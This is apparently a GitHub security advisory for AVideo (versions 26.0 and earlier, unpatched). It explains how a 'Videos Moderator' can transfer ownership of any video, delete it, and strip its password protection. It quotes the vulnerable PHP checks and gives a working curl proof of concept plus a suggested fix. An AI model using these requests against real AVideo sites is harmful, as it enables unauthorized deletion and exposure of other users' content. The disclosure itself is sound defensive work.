GHSA-8x77-f38v-4m5j AVideo: Video Moderator Privilege Escalation via Ownership Transfer Enables Arbitrary Video Deletion

• Packagist wwbn/avideo: <= 26.0 (no fix yet)

Summary A user with the "Videos Moderator" permission can escalate privileges to perform full video management operations — including ownership transfer and deletion of any video — despite the permission being documented as only allowing video publicity changes (Active, Inactive, Unlisted). The root cause is that `Permissions::canModerateVideos()` is used as an authorization gate for full video editing in `videoAddNew.json.php`, while `videoDelete.json.php` only checks ownership, creating an asymmetric authorization boundary exploitable via a two-step ownership-transfer-then-delete chain. Details The `PERMISSION_INACTIVATEVIDEOS` (ID 11) permission is described as a limited moderator role in `plugin/Permissions/Permissions.php:213`: ```php $permissions[] = new PluginPermissionOption( Permissions::PERMISSION_INACTIVATEVIDEOS, __('Videos Moderator'), __('This is a level below the (Videos Admin), this type of user can change the video publicity (Active, Inactive, Unlisted)'), 'Permissions' ); ``` However, `Permissions::canModerateVideos()` (`Permissions.php:175`) is reused as an authorization gate in multiple locations in `videoAddNew.json.php` that go far beyond status changes: 1. Upload gate bypass (`videoAddNew.json.php:10`): `User::canUpload()` (`user.php:2650`) returns `true` if `Permissions::canModerateVideos()` is true, granting moderators upload access. 2. Edit gate bypass (`videoAddNew.json.php:19`): ```php if (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) { die('{"error":"2 ' . __("Permission denied") . '"}'); } ``` `Video::canEdit()` correctly checks only `canAdminVideos()` and ownership, but the `|| !Permissions::canModerateVideos()` fallback allows moderators to edit any video. 3. Ownership transfer (`videoAddNew.json.php:222`): ```php if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() || Users_affiliations::isUserAffiliateOrCompanyToEachOther($obj->getUsers_id(), $_POST['users_id'])) { $obj->setUsers_id($_POST['users_id']); } ``` `userCanChangeVideoOwner` defaults to `false` (`CustomizeUser.php:286`), but `canModerateVideos()` provides an unconditional bypass, allowing any moderator to reassign ownership of any video. 4. Delete via ownership (`videoDelete.json.php:22-28`): ```php if(empty($video->getUsers_id()) || $video->getUsers_id() != User::getId()){ if (!$video->userCanManageVideo()) { // denied } } $id = $video->delete(); ``` `userCanManageVideo()` (`video.php:3614`) checks `canAdminVideos()` (not `canModerateVideos()`), then falls back to ownership. After the ownership transfer in step 3, the moderator is now the owner, so this check passes. The authorization asymmetry: `videoAddNew.json.php` treats `canModerateVideos()` as equivalent to `canAdminVideos()`, but `videoDelete.json.php` and `userCanManageVideo()` do not — creating a gap exploitable by transferring ownership first. Additional fields a moderator can modify beyond their intended scope: • `only_for_paid` (line 210) — make premium content free • `video_password` (line 211) — change/remove password protection • `categories_id` (line 168) — alter content categorization • `videoGroups` (line 175) — modify user group visibility PoC Prerequisites: An account with the "Videos Moderator" permission (PERMISSION_INACTIVATEVIDEOS = 11) and a target video ID owned by another user. Step 1: Transfer ownership of target video to attacker ```bash ATTACKER_USER_ID = moderator's user ID TARGET_VIDEO_ID = ID of video owned by another user (e.g., admin) curl -s -b cookies.txt -X POST \ 'http://localhost/objects/videoAddNew.json.php' \ -d "id=TARGET_VIDEO_ID&users_id=ATTACKER_USER_ID&title=unchanged" ``` Expected response: `{"status":true, ...}` — ownership is now transferred to the attacker. Step 2: Delete the video (now owned by attacker) ```bash curl -s -b cookies.txt -X POST \ 'http://localhost/objects/videoDelete.json.php' \ -d "id[]=TARGET_VIDEO_ID" ``` Expected response: `{"error":false, ...}` — video is deleted. The owner check at line 22 passes because the moderator is now the recorded owner. Step 3 (additional impact): Access password-protected video ```bash curl -s -b cookies.txt -X POST \ 'http://localhost/objects/videoAddNew.json.php' \ -d "id=TARGET_VIDEO_ID&video_password=&title=unchanged" ``` This removes the video password, granting the moderator (and everyone) access to previously protected content. Impact • Arbitrary video deletion: A Videos Moderator can delete any video on the platform, including admin-owned content, by first transferring ownership to themselves then deleting. • Content tampering: Moderator can change paid content flags (`only_for_paid`), video passwords, categories, and user group visibility on any video — all exceeding the documented scope of "change video publicity." • Access control bypass: Password-protected videos can have their passwords removed, exposing restricted content. • Integrity loss: Video ownership records are corrupted, making audit trails unreliable. • Availability impact: Targeted deletion of high-value content with no authorization check appropriate to the destructive action. The blast radius is any video on the platform. Any user granted the "Videos Moderator" role — which administrators may grant freely assuming it only allows status changes — gains effective full video management capabilities. Recommended Fix Replace `Permissions::canModerateVideos()` with `Permissions::canAdminVideos()` in `videoAddNew.json.php` where full edit capabilities are granted. Keep `canModerateVideos()` only for the specific status/publicity change operations it was designed for. Fix for ownership transfer (`videoAddNew.json.php:222`): ```php // Before (vulnerable): if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() || ... // After (fixed): if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canAdminVideos() || ... ``` Fix for edit gate (`videoAddNew.json.php:19`): ```php // Before (vulnerable): if (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) { // After (fixed): if (!Video::canEdit($_POST['id']) && !Permissions::canAdminVideos()) { ``` Then create a separate, narrower code path for moderators that only allows changing video status/publicity fields. Alternatively, refactor `videoAddNew.json.php` to check `canModerateVideos()` only around the specific status-change logic (lines 238-248) and require `canAdminVideos()` for all other fields.